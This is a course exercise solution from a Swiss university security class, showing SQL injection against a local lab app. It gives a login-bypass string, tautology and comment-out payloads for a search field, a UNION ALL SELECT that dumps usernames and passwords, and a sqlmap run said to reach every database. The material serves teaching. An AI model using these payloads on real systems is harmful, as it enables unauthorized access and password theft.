Exercise: SQL-Injection (Solution)

Test the application

Should work. Otherwise, you had a problem in the installation of the different subsystems.

Use the SQL-injection flow on login

Type the following text in the login fields:

```
Username = benoist'#
Password = anything you want
```

Search Field

- One can search any item (without restriction on the destination):
  `bonjour%'#`
  It comments out the testing of the owner of the system.

- Change the selection to add a "or 1" that makes the selection always true.
  You can type
  `hello%' OR 1#`
  You have to take care of the end of the sentence (we have a # here), because there is a `%'` added to the sentence by the script.
  So we could have somthing like that if the # is prohibited:
  `hello%' OR 'a' like '%a`

- Hack the list functionality, such that you can see all the users *Here we need some tricky tricks. We use the SQL statement `UNION ALL` that allows to concatenate the results of two select.*
  `hello%' union all select userID,password,username,4,5,6,7,8 from user#`
  Since the second request has exactly the same number of columns as the first, they are simply concatenate at the end.

Play with SQL map

We do not go deap in the usage of SQL map. We just see the power of it:

```
$ sqlmap --wizard
```

We enter the following input:

```
http://localhost/guestbook/index.php?id=2
```

Generates a payload that allows to see username and database. If we select strength 3, we access to all databases of the mysql server with all passwords.
The output is written in the page. You can virtually using this scheme access to any information in the database!

BACK TO TOP

Related Pages

Home
Slides
Exemples
Exercices
Resources

Contact

Prof. Dr. Emmanuel Benoist
Berner Fachhochschule - TI
Quellgasse 21
CH-2501 Biel/Bienne
Switzerland
Mail: emmanuel.benoist (at) bfh.ch

Social Networks

Follow me on
Linkedin, Scholar & Research gate

http://www.ti.bfh.ch/